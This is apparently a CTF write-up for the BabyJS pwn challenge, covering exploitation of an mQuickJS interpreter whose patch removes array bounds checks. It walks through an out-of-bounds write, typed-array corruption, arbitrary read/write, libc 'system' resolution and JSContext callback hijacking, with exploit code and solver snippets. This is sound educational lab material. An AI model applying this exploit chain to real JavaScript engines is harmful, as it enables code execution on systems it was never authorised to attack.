Logo

Writeup

BabyJS CITEFLAG Finals - Writeup

0 0xAsta
May 10, 2026
10 min read
pwn javascript-engine quickjs mquickjs oob typedarray arbitrary-read-write libc

BabyJS Challenge - Writeup

First, Thanks to vmpr0be for this good challenge that from it you can understand both V8 & mQuickJS.

Challenge Description

ALso before starting, this article is useful background for the exploitation style: V8 Exploitation Primer By Suleif. This challenge does not run Google’s V8. It runs a patched mQuickJS binary, but the exploitation ideas are very similar to browser and V8 pwn: understand JavaScript object layout, abuse an out-of-bounds array access, corrupt a typed array, turn that into arbitrary read/write, leak native addresses, and redirect control flow.

The challenge files are:

  • chall.patch: removes the bounds checks and removes the global load().
  • Dockerfile: builds the patched mqjs binary and deploys it under socat.
  • entrypoint.sh: creates /chall/flag and starts the REPL service.
  • exploit.js: the real JavaScript exploit.
  • solve.py: the remote delivery script for the interactive REPL given by the author .

MY Files

Summary

The patch removes length checks from the fast bytecode paths for JavaScript array indexed get/set operations. That changes normal array access from:

if (idx >= array_length)
goto slow_path;

into:

arr->arr[idx] = value;

without verifying that idx is inside the backing JSValueArray.

From JavaScript, this gives an out-of-bounds read/write primitive on regular Array elements. The exploit uses that primitive to corrupt the length of a nearby Uint8Array, then uses the oversized typed array to corrupt the backing pointer of a second typed array. At that point, the second typed array can read and write arbitrary virtual addresses.

The final control-flow target is not a GOT overwrite and not shellcode. The engine already stores a native output callback inside JSContext:

ctx + 152: write_func
ctx + 160: opaque

The exploit overwrites:

ctx->write_func = system
ctx->opaque = pointer_to_command_string

Then print(1337) triggers the callback, and the process executes:

Terminal window
cat /chall/flag 2>/dev/null || cat flag

Service Setup

The runtime container launches the interpreter through socat:

Terminal window
exec setpriv --reuid=ctf --regid=ctf --init-groups \
socat -T 300 TCP-LISTEN:1337,reuseaddr,fork \
'EXEC:/usr/bin/timeout -k 5s 120s /chall/mqjs,pty,stderr,setsid,sigint,sane' \
2>/dev/null

There is no file argument. The remote target gives us an interactive mqjs REPL, not mqjs exploit.js.

The patch also removes the standard load() helper:

JS_CFUNC_DEF("load", 1, js_load),

That matters for delivery. We cannot upload a file through load("..."); the solver has to paste JavaScript into the REPL in a reliable way.

Root Cause

The vulnerable patch is in mquickjs.c.

For indexed array reads, the original code checked whether the requested index was inside the logical array length:

if (unlikely(p->class_id != JS_CLASS_ARRAY))
goto get_array_el_slow;
idx = JS_VALUE_GET_INT(prop);
if (unlikely(idx >= p->u.array.len))
goto get_array_el_slow;
arr = JS_VALUE_TO_PTR(p->u.array.tab);
val = arr->arr[idx];

For indexed array writes, the original code either wrote inside the existing array, extended the array by one element when allowed, or moved to the slow path. The patch comments all of that out:

idx = JS_VALUE_GET_INT(prop);
arr = JS_VALUE_TO_PTR(p->u.array.tab);
if (unlikely(idx >= p->u.array.len)) {
...
} else {
arr->arr[idx] = sp[0];
}
arr->arr[idx] = sp[0];

So an expression like:

a[529] = 0x1fffffff;

can write far beyond an array of length 8, as long as the bytecode uses this fast array path.

Why This Is Powerful

The backing storage of a JavaScript array is an array of JSValue entries. Each entry is 8 bytes on this target. When the length check is removed, an out-of-bounds index becomes a raw 8-byte write relative to the array backing store.

The exploit intentionally allocates objects in a stable order:

var A_LEN = 8;
var BUF_SZ = 0x1000;
var a = new Array(A_LEN);
var u = new Uint8Array(BUF_SZ);

The useful heap layout after these allocations is:

Array backing JSValueArray for a
Uint8Array byte buffer for u
ArrayBuffer object for u
Uint8Array object for u

The exploit then writes past a until it reaches the len field of u:

var HUGE = 0x1fffffff;
a[A_LEN + (BUF_SZ >> 3) + 9] = HUGE;

The index calculation is layout-specific:

  • A_LEN: skip the real elements of a.
  • BUF_SZ >> 3: skip the 0x1000-byte typed-array buffer as 8-byte slots.
  • + 9: land on the typed-array length field for this mQuickJS build/layout.

After this write, u still points to its original 0x1000-byte buffer, but its length is huge. Indexed accesses on u now give a relative heap read/write primitive past the end of the original buffer.

Building the Heap Read/Write Primitive

Once u.len is corrupted, the exploit creates a second typed array:

var victim = new Uint8Array(8);

The oversized u can reach the metadata for victim. The important offset is:

var VICTIM_AB_BYTE_BUFFER_OFF = BUF_SZ + 112;

That offset points to the backing buffer pointer used by victim. By changing that pointer, victim[0], victim[1], and so on can be made to alias any address in the process.

The exploit wraps that operation in set_victim_addr():

function set_victim_addr(addr) {
// JSValue pointer to a fake JSByteArray whose buf starts at addr.
write64_heap(VICTIM_AB_BYTE_BUFFER_OFF, addr - 7);
}

The addr - 7 adjustment is a structure-layout detail in this mQuickJS build: the byte access path resolves the fake byte-array object such that byte index zero lands at fake_object + 7. Therefore, storing addr - 7 makes victim[0] read or write exactly addr.

The arbitrary byte primitives are then simple:

function read8(addr) {
set_victim_addr(addr);
return victim[0];
}
function write8(addr, val) {
set_victim_addr(addr);
victim[0] = val & 255;
}

The exploit builds larger helpers on top:

function read16(addr) { ... }
function read32(addr) { ... }
function read64(addr) { ... }
function write64(addr, val) { ... }

At this stage the exploit has arbitrary read/write inside the process, but it still needs native addresses.

Leaking the JavaScript Context

The first important leak is the Uint8Array prototype pointer:

var U_TA_PROTO_OFF = BUF_SZ + 40;
var proto_val = read64_heap(U_TA_PROTO_OFF);

For this standard-library initialization order, the Uint8Array prototype is at a fixed offset from the mQuickJS heap base:

Uint8Array.prototype = heap_base + 0xfb8

The heap base is also at a fixed offset from JSContext:

heap_base = ctx + 0x2b8

The leaked prototype value is tagged, so the exploit subtracts 1 first:

var ctx = (proto_val - 1) - 0xfb8 - 0x2b8;

This gives the current JSContext *.

The exploit also leaks the original u byte buffer:

var U_AB_BYTE_BUFFER_OFF = BUF_SZ + 24;
var u_buf_val = read64_heap(U_AB_BYTE_BUFFER_OFF);
var u_buf = u_buf_val + 7;

u_buf is later used as stable writable memory for the command string.

Resolving PIE, libc, and system()

The challenge runs under normal ASLR, so the exploit avoids hard-coded PIE or libc addresses.

After computing ctx, it reads the output callback:

var write_func = read64(ctx + 152);

write_func points into the PIE mqjs binary. To find the PIE base, the exploit scans backward page by page until it finds the ELF magic:

function find_elf_base(ptr) {
var page = ptr - (ptr % 4096);
var i, p;
for (i = 0; i < 0x10000000; i += 4096) {
p = page - i;
if (read32(p) == 0x464c457f)
return p;
}
throw Error("ELF base not found");
}

Then it parses the PIE dynamic metadata to find the malloc relocation:

var pie = find_elf_base(write_func);
var malloc_got = find_got_symbol(pie, "malloc");
var malloc_ptr = read64(malloc_got);

malloc_ptr is a real libc pointer. The exploit scans backward again to find the libc ELF base:

var libc = find_elf_base(malloc_ptr);

Finally, it parses libc’s dynamic symbol table to find system:

var system = find_dyn_symbol(libc, "system");

This is stronger than using a local libc offset. As long as the dynamic symbol table contains system, the exploit can resolve it at runtime.

Hijacking JSContext.write_func

The cleanest control-flow target is already inside JSContext.

The relevant fields are:

ctx + 152: write_func
ctx + 160: opaque

The normal output path calls something equivalent to:

ctx->write_func(ctx->opaque, buffer, length);

On x86_64 Linux, extra arguments do not stop system() from working. The first argument is what matters. So if:

ctx->write_func = system
ctx->opaque = command

then the next output callback becomes:

system(command);

The exploit writes the command into the original u byte buffer:

var CMD_OFF = 0x200;
var cmd = "cat /chall/flag 2>/dev/null || cat flag";
write_bytes(u_buf + CMD_OFF, cmd);

Then it overwrites the context fields:

write64(ctx + 160, u_buf + CMD_OFF); // ctx->opaque
write64(ctx + 152, system); // ctx->write_func

The trigger is:

print(1337);

A non-string value forces the engine through JS_PrintValueF, which uses the context output callback. That calls system() with the command pointer as the first argument.

REPL Delivery

The exploit works naturally as a script when mqjs is launched with a file:

Terminal window
/tmp/mquickjs/mqjs exploit.js

Remote delivery is harder because the service starts only:

Terminal window
/chall/mqjs

That gives an interactive prompt:

mqjs >

There are three important REPL constraints:

  1. The global load() helper is removed by the patch.
  2. readline_cmd_buf is only 256 bytes.
  3. readline_tty() reads up to 128 bytes and returns as soon as a newline is accepted. Extra bytes from the same read can be dropped.

Because of that, piping the whole exploit as one large payload is unreliable. Direct eval(...) is also rejected by mQuickJS:

direct eval is not supported. Use (1,eval) instead for indirect

The solver works around this by building a string one short REPL line at a time:

S=""
S+="first chunk";0
S+="second chunk";0
(1,eval)(S)

The Python helper does that in build_repl_lines():

def build_repl_lines(source, chunk_size):
lines = ['S=""']
for i in range(0, len(source), chunk_size):
lines.append("S+=" + json.dumps(source[i:i + chunk_size]) + ";0")
lines.append("(1,eval)(S)")
return lines

json.dumps() is important because it safely escapes quotes, newlines, and backslashes inside each JavaScript chunk.

The driver sends one line, waits for the next prompt, and only then sends the next line:

for idx, line in enumerate(lines):
send_all((line + "\n").encode())
timeout = 30.0 if idx == len(lines) - 1 else 5.0
raw += read_until(fd, recv_once, PROMPT, timeout)

The default chunk size is 80 bytes, which keeps each generated REPL line below the fragile input limits even after JSON escaping:

parser.add_argument("-c", "--chunk-size", type=int, default=80)

End-to-End Exploit Flow

The full exploit flow is:

  1. Allocate a small Array and a 0x1000-byte Uint8Array.
  2. Use the patched array fast path to write out of bounds from the Array.
  3. Corrupt the first Uint8Array length to a huge value.
  4. Allocate a second Uint8Array called victim.
  5. Use the oversized first typed array to overwrite victim’s backing pointer.
  6. Use victim as arbitrary read/write.
  7. Leak Uint8Array.prototype and derive JSContext.
  8. Leak ctx->write_func and find the PIE ELF base.
  9. Parse PIE relocations to find malloc@got.
  10. Leak libc malloc, find libc base, and resolve system.
  11. Write the flag-reading command into writable heap memory.
  12. Overwrite ctx->opaque and ctx->write_func.
  13. Trigger print(1337) to execute system(command).

Running Locally

Build and run the container:

Terminal window
docker build -t babyjs .
docker run --rm -p 1337:1337 -e GZCTF_FLAG='CITEFLAG{LOCAL_TEST}' babyjs

In another terminal, run the solver against the local service:

Terminal window
python3 solve.py 127.0.0.1 1337 -v

If you already have the patched interpreter at /tmp/mquickjs/mqjs, you can run through the local process mode:

Terminal window
python3 solve.py --local --local-cmd /tmp/mquickjs/mqjs -v

You can also run the exploit directly as a file when testing outside the remote REPL constraints:

Terminal window
/tmp/mquickjs/mqjs exploit.js

Running Remote

The solver already contains the challenge host and port as defaults:

default="pwn-44-f540ec5dc59646ca94629791e76a80e4.challs.citeflag.online"
default=32415

Run:

Terminal window
python3 solve.py -v

Or pass the host and port explicitly:

Terminal window
python3 solve.py pwn-44-f540ec5dc59646ca94629791e76a80e4.challs.citeflag.online 32415 -v

The script prints only the extracted flag when successful:

CITEFLAG{No7_a_Ba6y_aNYM0r3_Now_7Ry_thA7_on_Y0UR_owN_WlTH_Vb}

Notes and Pitfalls

  • This is a JavaScript-engine pwn challenge, but it is mQuickJS, not V8.
  • The V8-style concepts still apply: tagged values, object layout, typed-array corruption, arbitrary read/write, and native code execution.
  • The heap offsets are specific to the patched mQuickJS commit and standard library initialization order used by the Dockerfile.
  • Avoid adding extra allocations before the primitive is built. Extra objects may disturb the expected heap layout.
  • system is resolved dynamically from libc, so the exploit does not need a hard-coded libc version.
  • The callback hijack is simpler than a ROP chain because the engine already stores a writable function pointer and first argument inside JSContext.
  • The final print() should use a non-string value so the engine takes the value-formatting path that reaches JS_PrintValueF.
  • For remote delivery, keep REPL chunks small and wait for the prompt between lines. Sending too much data at once can silently drop bytes.